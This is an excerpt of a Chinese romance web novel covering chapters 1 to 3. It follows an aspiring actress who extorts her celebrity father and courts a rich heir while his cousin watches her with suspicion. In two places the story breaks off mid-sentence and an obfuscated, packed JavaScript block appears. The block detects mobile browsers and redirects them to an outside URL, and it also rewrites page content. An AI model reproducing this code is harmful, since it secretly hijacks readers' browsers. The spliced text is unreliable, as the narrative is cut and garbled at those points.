《镀金蝴蝶》 1. 第 1 章 初冬已至,道路两侧的银杏树被泼了一层金,由翠绿渐变为澄黄。 一道银白鲜亮的人影穿行其中,卷起几片银杏叶,冷风一吹,扇叶飘摇而下。 室内却是完全不同的宜人温度。 身着华服的艺人们推杯换盏,在无数闪光灯和镜头下,互相盛赞荣耀。 谈静笙畅通无阻地进入颁奖典礼会场,隐藏在暗黑角落。 她脱下租来的人工皮草披肩,目光沉静地往四周一扫。 事实证明,混进金玉奖颁奖现场一点不难。 谈静笙本就是艺人,即使完全没有拿出手的代表作,仅仅凭借年轻靓丽的容貌,精心设计的礼服,搭配目中无人的虚假微笑,和大牌明星并无二致。 没人怀疑她根本没被邀请。 一张作假的邀请函在安保面前晃了晃,对方看着这张貌美又崭新的面孔,以为是电影圈新人,立即放行。 新买的高跟鞋把脚后磨得生疼,谈静笙倚靠墙壁,转移身体重心,悄悄慢旋脚尖,缓解脚踝酸痛。但视线一直没能挪开。 这个位置,能看到入场口,娱乐圈里名声鼎盛的演员几乎都来了。断断续续地进场,熟练地社交、寒暄。 影视寒冬,金玉奖的含金量也每况愈下,最佳男配女配奖已经沦为资源咖分猪肉。 幸而在内娱没有其他竞争对手,很多演员被提名都会给面子地出席。 但,谈静笙也不确定目标人物会不会突然请假。 还有五分钟,颁奖礼即将开始。 她的心也越来越下坠。 就在她准备放弃的时候,一个中年男人信步而来。 他一身黑色中山正装,皮鞋锃亮,发型一丝不苟。 靠形象吃饭的人,即使五十来岁了,也像四十出头。 他和同行的演员聊着什么,颇志得意满地笑。 下一刻,视线扫到一个年轻女艺人,笑就僵硬在嘴角。 谈静笙言笑晏晏地走上前,“韩老师,我是您粉丝,方便签个名吗?” 说是签名,她手中没有任何纸笔。 男人跟同伴轻声说了几句什么,转身快速来到无人的屏风前。 再开口,已经全无方才的风度,“你又来找我做什么!” 谈静笙仍旧微笑,干脆地说:“我要一百万。” 一百万,在娱乐圈里不是个大数目,韩庆文却不屑:“你已经成年了,还管我要钱。要不要脸?” 谈静笙平静地说:“你无套□□的时候想没想过要脸?” 韩庆文脸色一沉,“你怎么说话呢,家长就这么教育你?” “韩老师,一百万也就你几个月的零花钱,我又没管你要一千万。要不,你打个欠条也行。当我借你的。” 韩庆文可不信她会还钱,这钱一旦给出去,相当于泼出去的水。 而比起钱财损失,他更很讨厌被威胁。 他压低声音,“你已经大三了,该找工作了。找不到工作,就去找男人给你花钱。你长成这样,给金主当情妇不愁饿死!” “我大四了,不是大三。” 谈静笙忽然用暧昧的语气,稍微扬声,“韩老师也是男人,还是老熟人,找您更方便。你也不想你太太和孩子,还有你的粉丝对你失望吧?今天可是直播,您快点决定。” 她扬扬手机,上面显示录音中。 韩庆文脸色一变,就要去抢,自然被女孩挡了回去。 谈静笙抱臂笑笑,“老艺术家别冲动,被别人看到你对年轻柔弱又貌美的女孩子动手动脚就不好了。” 韩庆文恨不得把她脸上盯出洞,僵持中,手机响了,是助理来电,问他怎么还没到。他说了句马上,随后就把一百万转给谈静笙。 手机很快收到转账提醒。 谈静笙刚要说点什么,就听韩庆文低骂了句:“滚,别再来找我。” 不想有任何牵扯,男人快步离开。 主持人字正腔圆的声音响起。大厅内掌声雷动。 解决这件大事,谈静笙有点饿,从身边顺了个小蛋糕塞进嘴里。 来都来了,她又抓了几包小零食,惬意地往颁奖礼观众席走去。 ** 清红木金漆嵌玉屏风的另一侧,有两人在原地站了会儿。 适才较为严肃的商谈氛围渗入浓浓的八卦气息,被动旁听者反而略有尴尬。 尴尬的只有一个人。 艺术中心的总监看了眼旁边抄兜垂首的男人,不好意思地笑笑,“现在的年轻女孩,有点姿色就走捷径捞钱,见笑了,周总。” 周清蕴没把这小插曲放在心上,今天来谈合作只是路过。为了尽地主之谊,总监热情邀请他来看看今天的金玉奖颁奖现场。周清蕴想见一个人,也就过来了。 哪想到会撞见一场“仙人跳”。 他无甚所谓地说:“这种事,也不是一个人能做成的。” 总监心思急转,刚被屏风挡着,但男人一开口,就能听出是近几年在叔圈赛道爆红的男演员韩庆文。女声倒听不出是谁。他是韩庆文粉丝,又是男人,下意识为韩庆文说话。难免偏颇。 “咳,这些明星,表面别看多风光,背地里腌臜事不少,区别只在于有没有被曝光。” 总监见人说人话,见鬼说鬼话。不管黑的白的,全都骂一遍。 周清蕴不再言语,接着被意外打断的话题聊。 总监松口气,带他去颁奖现场。此刻有著名歌手献唱。 周清蕴对娱乐圈没兴趣,对明星更没兴趣。 唯二交集是分公司投资过几部大热商业电影,市场部敲定过几位代言人需要他首肯。 “你认识一位叫谈静笙的女艺人吗?” 周清蕴冷不丁问。 总监对这个名字很陌生,“演过什么角色?” 周清蕴扫一眼席位上的演员们,意识到这些人都是行业内功成名就的顶尖人物,弟弟那个小女友才大四,不太可能来这里。 他也就掠过这个话题。 ** 谈静笙对看讨厌的人拿奖不感兴趣,听完自己喜欢的歌手表演也就撤了。 在更衣间换下礼服,穿上自己的衣裤。很素的卫衣和牛仔,再裹着黑色羽绒服。唯独鞋子忘了带替换。不过是踩了几脚大理石面,娇嫩的羊皮底就变成月球表面,坑坑洼洼,更不抗寒。 谈静笙在京市冬天的街道边等网约车,时不时地跺脚,靠血液循环取暖。 有一辆双R标的黑色轿车停在路边,在一众豪车面前很低调的高调。再看车牌号,很顺的数字。 如果她是一个三流编剧,此刻大概会安排一个“做错网约车后和霸总一见钟情再见倾心”的女性向甜爽剧情。 但现实是,她很可能被里面的司机轰走。 这时,有几道脚步声自背后由远及近。 谈静笙侧头,就看到一个身量很高,穿着熨帖黑色西装的男人,侧脸线条清姿隽逸。身后跟着西装革履的助理,很明显是豪车的主人。 他绝对在余光里看到她,但对任何人的注目无动于衷,并习惯与此。 谈静笙也只扫他一眼,便收了目光。 嗯,很帅。 和现在的男友是不同类型的帅。 但也仅此而已。 眼前这个男人一看就很难搞,她有远跑多远。 豪车前脚刚走,网约车后脚就到了。 谈静笙拉开车后门,报了手机尾号。 车轮辗过枯叶,窗外明亮而恢弘的建筑物浓缩成一块玲珑骰子。 安静的电车里,唯有手机震动。 谈静笙发去转账,对方回了公事化的“好的”。 手机再一震动,是男友发来的航班信息,意思很明显,让她准备接机。 谈静笙算了下时间,明早有点来不及,也懒得回复——一聊天就要花去一个多小时。她困了,全当没看见。 ** 先把租来的礼服还回去,谈静笙回到宿舍后,卸妆,洗澡,很快入睡。 翌日清晨,手机接连震动。 谈静笙扫一眼来电显示,打了个哈欠,接起时已经换了个语调,“周哥哥。” 电话那头,听见女朋友这声温声细语的称呼,周绍晨也不禁温和嗓音,“静笙,我回国了。” “啊,我昨天睡太早了。才看到你发来的信息。” “我猜也是。我刚到家,直接来找你。” “你今天刚出差回来,不会累吗?” “见你就不累了。” “好,我等你。” 谈静笙挂了电话,快速洗漱下楼,走去学校的图书馆。 时间卡得刚刚好。刚坐在图书馆没几分钟,周绍晨的车就到了。 谈静笙刚坐进副驾,周绍晨就拉过她的手,要亲她的嘴巴。她拘谨地推拒他的脸,说外面有人。 图书馆人来人往,更何况周绍晨的越野豪车也高调,霸道地斜停在路边,多少惹人往这边看。 周绍晨就喜欢她这副害羞的模样,很纯,又很魅,从外形到性格,是他一直以来心仪的类型。好像完全为他量身打造。 考虑到她脸皮薄,周绍晨也就在她手背吻了下。 谈静笙像是松口气,却又主动和他十指相扣。 周绍晨唇角勾起,“想我了?” “没有。你别自恋。” 但她的手抓得更紧。 周绍晨十分受用她心口不一的小傲娇,再问她最近工作学习顺不顺利。谈静笙说一切顺利。 作为一个标准的富二代,出入场合都是高消费地。今天他带女友来的是一家高端俱乐部,专为富豪权贵服务,高尔夫球场、网球场、马场、泳池等一应俱全,里面的餐厅也是星级水平。 谈静笙经常节食,吃得不多,他了解她的喜好,为她点餐。 自周绍晨出差,已经过了两周,他们确定恋爱关系也仅仅两个月。尚处在热恋期。 周绍晨刚毕业没多久,在自己家的集团工作。和谈静笙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482949|201855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认识,是在上半年校方举办的校庆上,她是主持人之一。 女孩子身穿学校提供的轻纱礼裙,并不高级的料子,背后一排排隐形暗夹,勾勒得身姿纤细窈窕,面容皎洁昳丽,很直达人心的美貌。仿佛和周围人不在同一个图层。 周绍晨见过的美女也多,追他的女孩更多,但还是对她一见钟情,换句话说是见色起意。 他跟朋友打听她,谈静笙是外语学院的校花,却一直在拍戏拍广告,游走在娱乐圈边缘,名声不太好。 周绍晨理解,美女么,名声都不太好。 他和朋友们打赌,一周之内拿下谈静笙。 一周后,他失败了。 谈静笙直白地揭穿他只是在打赌,跟本没有喜欢她。当面把他送的礼物全都砸进垃圾桶。那双极漂亮的眼睛里簌簌落泪,神情破碎地令人心痛。 周绍晨慌了。 更变本加厉地对她好,用来赔罪。 三个月后,各种诚意砸下去,送首饰送限量包送资源,她终于不再生气。周绍晨试着再告白,谈静笙终于点头答应。俩人正式成了男女朋友。 周绍晨发现,她性格跟传言一点也不一样,非常有原则。会对他送她昂贵的礼物而生气,但又不过分自以为是的清高。 不管是长相还是性格,都和自己曾经暗恋过的女孩很像。 他打算带她见自己的家人。 父母一听不得了,因为正打算给他介绍联姻对象。更别提女生还是个娱乐圈毫无背景的十八线小明星,上不得台面。勒令他赶紧分手。 周绍晨一听联姻就排斥,他才多大,还没玩够。脱口而出要结婚也是和女朋友结,结果就是被外派到非洲工作。 除非闹出人命,他也不会轻易结婚。爸妈不会允许。 他这样的家庭,联姻是必备的选项。爱情算什么东西。 他骗父母分手了。这才结束发配。 但撒谎不是长久之计,周绍晨打算让兄长帮忙想办法。 餐厅的氛围极佳。 面对女孩子这张纯真漂亮的面孔,他实在说不出分手的话。 他真的喜欢他,也并不想再伤她一次。 即使,他心里很清楚两个人没有未来。 周绍晨惆怅了会儿,看了眼腕表,“对了,待会儿我哥也来。” 谈静笙放下刀叉:“……你哥?” 周绍晨朝她宽慰一笑,“你们见个面,别紧张,他会喜欢你的。” “不是……我今天穿得不够正式,你应该早点告诉我。” 谈静笙抚了抚刘海,心里是有一点无语,她一点准备都没有。 周绍晨看着她不施粉黛的精致面孔,“你穿麻袋都美。” 他这么说了,谈静笙也不再计较。准确讲,她也没计较的资格。 俩人虽然在恋爱,但身份并不对等,是谈静笙想要在他身上索取更多。 她不爱他。 虽然周绍晨是个帅哥,性格也比较单纯易懂,是个很有钱的富二代。 但她对他没有一点心动的感觉。 她只喜欢他身上的附加条件和光环。 当初他追她,她也只不过是偷听到他朋友的话,故意以退为进,让他产生愧疚心理。 每当面对他,谈静笙都在算计怎么能从他身上索取更多好处。周绍晨也很大方,心情好就给她发红包。数额最低几万,最高几十万。 这是谈静笙在众多异性中精挑细选过的男人。一定要牢牢抓住。 他喜欢小白花,她为他表演。 这是她的表演酬劳。 谈静笙轻声问:“你哥哥叫什么名字?” 上市公司董事需要披露,写得清清楚楚,谈静笙早就知晓,但还是问了一嘴。 在接触到周绍晨之前,她就已经早早地听说过周家名号。 “周清蕴。三点水的清,蕴是草字头那个,出自一首韦应物的诗……” 谈静笙补充说:“‘善蕴岂轻售,怀才希国工。’” “对。就是这个。”周绍晨说,“我哥可能对外人有点冷,但对家里人不错的。” 谈静笙面上笑笑,心里可不认为她是自己人。 等菜上来前,谈静笙说要去趟洗手间。 她在镜中打量着自己。 左瞧瞧右看看,露出八颗牙齿笑。觉得还不错。 再返回时,周绍晨旁边多了一个男人,背影挺拔又随性,白衬衫黑西裤,是略悠闲的款式,但也没有稀释周身的萧冷之意。 而仅仅一个背影,就让人无法靠近。 周绍晨先发现的谈静笙,冲她招手,“静笙,这是我哥。哥,这是我女朋友,跟你说过的。” 男人回头,视线彼此交接,谈静笙短暂地愣了下。 这人,她见过。 “您好。” 很快,她抿起唇角微笑,照常以得体示人。 男人看见她,微不可察地拢眉。 很轻,但还是被谈静笙察觉到了。 2. 第 2 章 “你好。” 一道净且凉的男音,薄薄地回敬,让人不得不在他面前收起所有的杂质与伪装。 周绍晨已经习惯了兄长的性子,不以为然,让谈静笙也跟着他称呼周清蕴为“哥”。 谈静笙坐回自己的位置,拘谨乖巧地叫了声“哥”。 周清蕴略略点头,算是应下。 谈静笙在工作时,也会接触到一些老板,他们性格迥异,有豪迈、有严肃、有温和,也有道貌岸然,狐假虎威,两面三刀,但无一不具有上位者的气势。 面前的男人也是如此,且更甚。 她如同置身死寂的空谷,第一滴酸雨落在唇间,垂直腐蚀皮肉。 周绍晨迟钝地没有嗅到一丝不寻常,作为中间人,他负责调动氛围。他也一向擅长于此。 “哥,你多说点,别吓到她。静笙胆子小。” 周清蕴极淡地笑了下。 胆子小。 假如声音相似,有认错的可能,但身形侧脸不会弄假。 周清蕴昨晚也注意到这个独自在街边跺脚等车的女孩,很容易将两者连线。 但他无意点破。 “我没有被吓到,你哥哥又不凶。” 出乎意料,女孩子没有表现得战战兢兢,看着是很内敛又磊落的姑娘。 大抵是没认出他,才能表现得如此镇定。 周清蕴也就笑了下,只是这笑也转瞬即逝。 他对弟弟说:“听见了?我又不会吃了她。” 这句半开玩笑的话,总算破冰。周绍晨松口气,跟周清蕴讲外派上的事。 因为女友在场,他没有请教工作上遇到的难题,而是说些有趣的小事。 堂兄在家族里,从小到大都是别人家的孩子,周绍晨父母总是拿他跟自己做比较,时间一长,对堂兄敬重之余,总掺着点隐隐的竞争。 以前的女友见了他哥,注意力多少都会放在周清蕴身上。缠着他打听这位周家现在的话事人。 周绍晨自认各方面都不差,和堂兄一比,似乎差了很大一截。 他不动声色地观察谈静笙,逐渐安心。 她正默默地听他们的对话,不发表意见,更没有去看周清蕴,只是小口吃着前菜。 话题结束后,周清蕴忽然出声:“演艺界有熟人么?” 谈静笙刚抿一口茶,意识到他正在向自己问话,立即放下茶杯,回望他的眼睛,“没有。我家只是普通家庭。” 周绍晨接话说:“静笙资源很差的,哥你帮忙联络点人脉。你跟舜禹影视的段总不是很熟吗?” 周清蕴眼风一扫,略有警告,但语气还算平和,“等我什么时候收购舜禹,把公司送你都行,正好你生日也快到了。” 一个眼神,周绍晨就知道失言了。 他哥最烦他把私人感情和工作掺杂在一起,更别提让他动用人脉,只为了捧女艺人这种赔本买卖。 上次帮谈静笙牵线,还是他找了朋友的朋友帮忙,才给了广告的商务。还要谈静笙去试镜才可以。 作为刚毕业半年的社会新人,又不在行业内,他的能力仅此而已了。 谈静笙听出了这话中的冷意,弯唇笑说:“我会自己去面试,不用麻烦你们。” 周清蕴看她一眼,“不想红吗?” “也想,但总是缺少点运气。” 在这样的男人面前,谈静笙需要吐露更多真心话。在娱乐圈工作,没有不想红。 周清蕴说:“做这一行,资源很重要,和运气没有太大关系。” 谈静笙轻轻柔柔地说:“没资源也可以在行业里打打工。能养活自己就好。” 周清蕴闻言笑了。谈静笙不知道他在笑什么,但绝不是善意的笑。 “喂——你们光说话不吃饭吗?” 周绍晨不喜欢这两个人抛开自己聊天。 周清蕴结束和她的smalltalk,和周绍晨聊起家庭。似乎只是怕她被冷落,期间刻意问她几句闲话。 谈静笙低垂眼睫,唇角微抿。 男友的哥哥讨厌自己——她十分确定。 饭后。 周绍晨被周清蕴叫住,要去陪他赛马。 周清蕴招来侍者接待谈静笙,便和弟弟先后离开。 冬季草原已经枯黄,前天下了一场大雪,配合远处的矮山,颇有天外之感。几匹马悠闲地在此间踏步。 周清蕴对马不感兴趣,养马只是顺手,倒是周绍晨很喜欢这种矫健又娇气的动物,堂兄便送了他两匹小马做生日礼物,一只白色一只棕色,从欧洲那下的单,赛级纯血马,每年维护费用就超七位数。 他自己那匹马却是一匹很普通的品种,不知从哪弄来的,一条腿骨折。站定动物无法长时间卧躺,一旦受伤就会致命,所有人都以为它会死掉,这几年奇迹般地被养好,反而比其他马驹都活泼。 此间只有他们两个人,工作人员全都被清退。 周绍晨抱怨:“哥,你对我女朋友好点行吗?” “我如果对她不好,不是现在这态度。” 周清蕴淡淡说,“还有,小姨也跟我说过,劝你和女朋友分手,给你介绍别的女孩子。你说,我是该听你的,还是该听你妈妈的?” 周绍晨不禁吃惊:“我妈都找你说了?哥,你别插手!” 周清蕴才不愿意管别人恋爱还是结婚,只是,周绍晨从小到大比起父母,更听他的话,“我的建议是,分手。” “你不会也对她的职业有偏见?” “那姑娘心思有些重。” 她也十分懂得察言观色,知道他们有话单独讲,自觉停步,说不会骑马,要去湖边逛逛。给二人留出空间。 这样的女孩,绝不是个简单性子。 周绍晨笑说:“哥,是不是你自己心眼多,看谁都是来害我的。放心,我有脑子。” 娱乐圈号称大染缸,不是说说而已。任何一张白纸进去,都变得面目全非。每一个项目涉及巨大的现金流,普通人很快就会被光鲜炮弹砸晕,堕落只在一瞬间。和付出的相比,回报率接近无穷大。看见有些同期艺人资质并不好,莫名其妙红了,也会心里觉得不甘和焦虑,想着要不要搏一把。 周绍晨自己也不喜欢谈静笙往演艺圈发展,他给不给她助力暂且不说,他也不喜欢女朋友和别人演亲密戏。 刚跟哥哥要资源,也不过是嘴上说说。 他盘算着给她介绍自家公司里的岗位。 但两人目前恋爱时间不长,他不好开口。 周清蕴说:“我只告诉你一件事,我昨天在颁奖典礼见过她。” 至于周清蕴听到了什么,没必要详细说明。有心人会 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车里播放着小众摇滚乐队“八点半”的冷门歌曲,聊了接下来的日程后,周绍晨装作不经意地问道。 “没有。”顿了顿,谈静笙说,“但昨天我去艺术中心,好像看到一个人和你哥有点像,那是他吗?” “你去艺术中心了?” “嗯,我朋友去了金玉奖,帮她送鞋子。” “哪个朋友。” “董菲儿……”谈静笙一顿,伸手关掉音乐,扭头看着男友,“周绍晨,你在查我么?停车,我要下去。” 车子转弯,急停在路边。 谈静笙就要解开安全带,周绍晨急忙按住她的手,倾身抱住她,“静笙,我只是关心你。” “你听别人说了什么?” “什么都没有,我只是想了解你的一切。我们异地这么久,想知道有没有别的男人勾引你啊。”他半开玩笑地说。 谈静笙拍拍他的背脊,他才松开,看她还是有点生气地蹙眉,再哄几句,她眼里的泪水终究是没掉。 她有点哽咽地说:“没有其他人,我是以结婚为前提和你交往的。你呢?” 周绍晨一听“结婚”两个字就更慌了,“……我也喜欢你。你知道的。过几天是我生日,你来我家吧,见见我爸妈。好不好?” 谈静笙拿纸巾摁眼睛,缓缓地点头。 周绍晨继续开车,把谈静笙送回宿舍楼底时,俩人之间的状态已经恢复如初。 谈静笙欲言又止地问:“今天,你哥哥觉得我怎么样?他讨厌我吗?” “他说你很好。别担心。” “真的?”女孩眼中充满希冀。 “真的。”周绍晨笑眯眯地。 假的。 见过周清蕴后,谈静笙很清楚,周家不会允许她进门。 那么,要么借机上位,要么趁机分手——索取更多分手费。 选哪个比较好呢? 进了宿舍单元楼里,她边用矿泉水冷敷眼睛,边冷静地想。 此刻的她还不知道,几天后,如果再给她一次机会,她一定做另一种选择。 3. 第 3 章 周绍晨刚回国,需要倒几天时差。只在微信上跟她联络。 谈静笙经常在宿舍走廊接他的电话,偶尔被同学听到,打趣几句。 也有曾经结下梁子的同学隔着一道宿舍门阴阳,说她又捞到了冤大头。 周绍晨在学校知名度很高,他平时人也高调,什么都玩,朋友也多。即使毕业了,也总有人充当传声筒,传递他的一举一动。 谈静笙听后无动于衷。 周绍晨姑且是她的初恋。这是她第一次正式恋爱,但在次之前,她也和别的男生暧昧过。 漂亮的女孩熟练掌握外貌优势,并不需要多余的烂俗技巧,只要用那双熠亮的桃花眼多看男人几眼,展示很寻常的礼貌笑容——甚至连温柔都算不上,男人们就以为自己是特别的。 她只钓着他们,并不和他们确认关系。他们送什么,她也照单全收。 谈静笙的打算是,她今后要在娱乐圈工作,不能让感情经历成为自己的黑历史——想法总是是好的。 有些男人察觉付出没回报,也会打击报复。 谈静笙碰上那么两三个,有的甚至在有女朋友的前提下追她。男的女的在她宿舍楼下闹了很久,先拿大喇叭骂她,群发脏字小作文,再让她还钱,惊动校方,辅导员劝了几天才消停。 大学这几年下来,名声也烂了。 但,她也不太在意,毕竟她是真的从男人那里得到过好处。至今还有喜欢她的男生不定期给她转账。 她秉承不拒绝不负责不主动不承诺的原则,不道谢也不感激——她又没有逼他们拿钱。 谈静笙心想,她存在的本身就已经是对他们的回赠。 不能给再多了。 上完这学期最后一节课,谈静笙先联系快递,把最后一件迪奥戴妃包邮寄过去,卖给二手商。 她曾经当着周绍晨的面,把他送的礼物全都扔了。 当然是做戏。 等周绍晨一走,她就偷偷把东西全捡回来。 没自己动手,雇了个人,给足打赏。 随后,她小心清理包装盒上的灰尘无垢,留下充当门面的爱马仕保值款,剩下的一律卖掉或租掉。 钱,还是拿在手里最安全。 谈静笙吃过饭,在逛了超市,打车去本市一家权威三甲医院。 住院部电梯门一开,有人早已在旁等候。 “昭昭,这边这边!” 谈佳宜看她往另一个方向看,赶紧叫住她。 谈静笙小名叫昭昭,也是她的曾用名,后来谈佳宜花钱请算命先生改了个名字。但姐姐还是延续这个称呼。 她回头,展颜一笑,拎着零食包小跑过去。 女孩子一头深棕柔顺的长发,从头精致到脚,走动时芬芳四溢,是苍白嘈杂之中绝无仅有的一抹靓色。有几个路人看到她,不论同性异性,频频望过去。 谈静笙已经习惯被注视,既没有傲然,也没有不安。 谈佳宜穿着病号服,即使在笑,也形容憔悴。伸手抱了抱静笙,“你怎么比我还瘦?最近有好好吃饭吗?” “哼,我吃得不要太好。” 谈静笙把零食包提进去,自己撕开一桶薯片兀自咀嚼。谈佳宜不能吃这些,分给其他患者家属。 病房里还有其他几位病人,全女性,唯独谈佳宜过于年轻。 一病房的患者都已经混熟,谈佳宜介绍说,这是自己的妹妹,有个阿姨夸奖真漂亮,跟个明星似的,谈佳宜颇为骄傲说就是大明星。 阿姨再问拍了什么,去拿手机搜一搜,谈佳宜说正在拍,以后会火。 谈静笙的脸有些发热,姐姐总是以为自己会红,她不过是拍了几个小短剧和网剧里的四番角色,不注意都找不到她。 这也不怪姐姐,她自己也总给她画大饼。说自己赚了很多钱。 事实上,她在大学期间攒的钱,已经全都上供给医院和房贷。 谈佳宜的心脏病是先天性,小时候就动过一次手术,那时有福利院支持,自己不必负担医药费,长大后只能依靠自己。 病房人太多,她们来到走廊。冬天的医院暖气给得很足,谈静笙把大衣脱了,抱在手臂上。 佳宜忽然问:“昭昭,你现在有零花钱吗?” 静笙翻出手机,给她看app上的余额。 佳宜先前还担心,这会儿稍微松气,“等我出院,以后会还你。” 谈静笙无所谓地说:“那你得多赚点。最好赚到80岁,你知道我花得很多。” 佳宜摸摸她的发顶,笑容轻淡。 静笙说:“我现在不缺钱,还有个很好的男朋友,他每个月零花钱好几百万。对我也很大方。” “找男朋友不能光看有钱……” “我懂得,他长得也不错。” 佳宜无奈摇头笑着,“你的男朋友人怎么样?” “嗯。还不错。”静笙想了想,问,“姐姐,你说我现在结婚是不是有点太早了?” 佳宜立刻皱眉,“要和现男友结婚?” “正在考虑。” “喜欢他么?” 静笙不假思索:“喜欢,他家挺有势力的。会给我提供好点的资源。” 佳宜越来越觉得不靠谱,“你要考虑清楚,结婚可以离婚,但不能这么早生孩子。” 她再说:“你不用考虑我,我只是做个手术,不是丧失劳动力。” “啊,什么?不是因为你,我真的想结婚,我结婚一定是因为爱。” 爱钱也是爱嘛。静笙心想。 谈静笙的童年,非常类似苦情小白花因家庭落魄被迫卖艺养家的故事,但,真的不是。 她有很多上班族都没有的存款。可以过安稳的平凡生活。 是她不愿意。 钱是个好东西。 别人都有,她和姐姐也要有。 她喜欢任何闪亮奢华的东西,她也有能力得到。为什么不要?凭什么不要? 谈静笙也不怕韩庆文告她勒索,他是大明星,最注重自己的口碑,姐姐的病反而给了她占据道德制高点的理由。 她多管生父要点钱,绝对的天经地义。 但狗急还能跳墙,静笙也没有管他要太多,逼得太紧也不好。 佳宜说:“姐姐只是不希望你压力太大。好吗?健康最重要。” 静笙乖巧地点头。 姐妹俩再聊了过几天的手术和毕业之后的事,佳宜就赶她走。 晚上,静笙回到姐姐和自己共同的家,顺便把佳宜的换洗衣服放进洗衣机。 她在大三的时候,手上攒了一笔钱,用姐姐的名额购置一套小两居,付过首付,暂时落了脚。 佳宜病发突然,虽然有医保托底,但不能报销的进口器材仍然很贵,押金打过去,谈静笙的银行卡差点归零。 打开手机。一天过去,韩庆文得奖的事儿还被营销号炒得轰轰烈烈。她见一个屏蔽一个。世界终于安静了。她习惯性去看手机银行卡app。 目前手上的余额充足,姐姐十几万积蓄也都在她这。但,韩庆文可是在国内住着顶级公寓。 钱,还是远远不够。 ** 静笙在家里住了两天,第三天回宿舍。 周绍晨生日这天下午,他提前让司机接她去美容院,做了好几个小时的妆造,抵达他家别墅时,整个人闪亮又香喷喷的,像真正的女明星。 静笙不是第一次参加有钱公子哥的生日趴,但今天是最豪华的一次。 这别墅区只是周家的房产之一,是他们的旧址,如今入住新别墅。旧宅落在周绍晨名下,作为他18岁成人礼。他每周放假会回这里住下。因为距离市中心较远。 像这种主题派对,更是有专门的策划团队全面包揽。 下了车,周绍晨出门迎接。静笙把礼物送过去,是一捧提前订好的鲜花。 他从来不缺任何昂贵的礼物,又看不上低端的廉价货,静笙就只送了他一大捧凡尔赛复古红玫瑰。 它不像普通玫瑰花颜色单一,是以白玫瑰花作为底色,在花瓣边缘渲染红漆,营造一种油画般的中世纪复古感。 周绍晨喜不喜欢不重要,主要是静笙自己很喜欢。 她问:“好看吗?” “好看。” 他只看着她的脸说。 女孩五官格外标致,不化妆时,青山远黛的淡雅,文艺片中的清透感。化妆后,点染曲眉,神清骨秀,立身于残雪之中,她是第一抹秀色。 周绍晨接过花,揽过她的腰肢亲吻唇角。稍微弄花了她的唇妆。 身后有人起哄,静笙垂下头,周绍晨把她带到客厅里,繁复的水晶灯下,整个空间都被装扮得轻快而精细。 她到得晚,里面已经来了很多周绍晨的朋友,大多都是一起长大的,背景和他相似的二代们。 据说周邵晨的父母明天才会过来,今晚留给他们这群年轻人狂欢。 静笙只认识小部分人,但很多人认识她,从周绍晨和她的自拍里。 周绍晨作为派对主人,忙着接待客人。 “你哥哥呢?”静笙问。 “他啊,今天有应酬,晚点来。你问他做什么?” 静笙奇怪地看着他:“他不是你哥吗?你生日,他不来为你庆祝?” 周绍晨笑,“也对。” 没见到他那位堂兄,谈静笙松口气,总觉得能被他看透似的。 生日趴,邀请了当红的选秀歌手,还有喜剧演员表演漫才和单口,主持人也是电视上活跃的谐星。弄得像电视台上的正式晚会。 静笙吃了厨师做的晚餐后,就在台下看他们的表演,趁机索要几个签名挂咸鱼。 节目被精心设计不会觉得无聊,别墅外还有无人机表演,时间很快就过去。 零点一过,周绍晨许愿,在朋友的欢呼声中,牵着静笙的手切开蛋糕,将第一块蛋糕送她。静笙则喂给他吃第一口。 如此秀恩爱的小情侣惹得周围人开玩笑,什么接个吻、喝个交杯酒,以静笙目前的人设,自然都没做。周绍晨把蛋糕砸向起哄人的脸上,瞬间开启了奶油大战。 七层豪华巨型蛋糕被抓成无数块,打雪球似的到处乱飞。 尖叫、欢呼、和咒骂声混合,一片热热闹闹。 静笙东躲西藏,仍然被殃及池鱼,肩颈都铺满奶油,周绍晨才送她的高定礼服也毁了。 她很不开心——这还怎么租出去。 她去洗手间抢救一下礼服那娇气的料子,却只是徒劳,奶油特别难清洗,得借用洗涤剂才行。 再出来时,找不到周绍晨的影子。 问了他一个朋友,男人晃着酒杯,醉醺醺地大笑:“去接他女神了!哈哈哈哈……” 身边有人推他一下,暗自使眼色。只得到酒鬼一句“你掐我干嘛!很疼的”。 静笙全当没听见。独自下楼时,从楼梯拐角处看到了那位所谓的“初恋”,也是个漂亮的。女生送过包装精美的礼盒,虚虚拥抱了下,也算保持正常社交距离。 静笙转身悄悄走了。 等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482951|201855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间差不多,再去找周绍晨,他已经喝得半醉,和几个男性朋友在室内游泳池胡闹。 周绍晨让她下来玩,静笙不想把耳环项链也毁了,跟他说她太困了,周绍晨就让表妹带她去自己的房间。 表妹跟谈静笙不熟,她身边也有几个小姐妹,叽叽喳喳抱成一团。 对于周绍晨的女友,她也见过几次,漂亮是顶漂亮,总觉得她那小白花的性格玩不来。 但寿星的命令今天最大,她也就起身,带她熟悉一圈。 别墅内部比想象中还大。她指着三楼的某间房,“这是绍晨哥的房间。你就在这待着吧,前面你就不用去了,是清蕴哥的房间。” “他哥哥在这里还有房间?” 在静笙的想象中,周大公子保守来说应该自己有好几十套房,遍布在世界各大城市。不会和堂弟一家住在一起。 表妹边给自己补妆边说:“你不知道吗,清蕴哥从小被养在叔叔家。” “他爸爸妈妈呢?” 表妹翻了个眼睛,“你怎么什么都不知道啊。” “我很笨,你告诉一下我吧。” 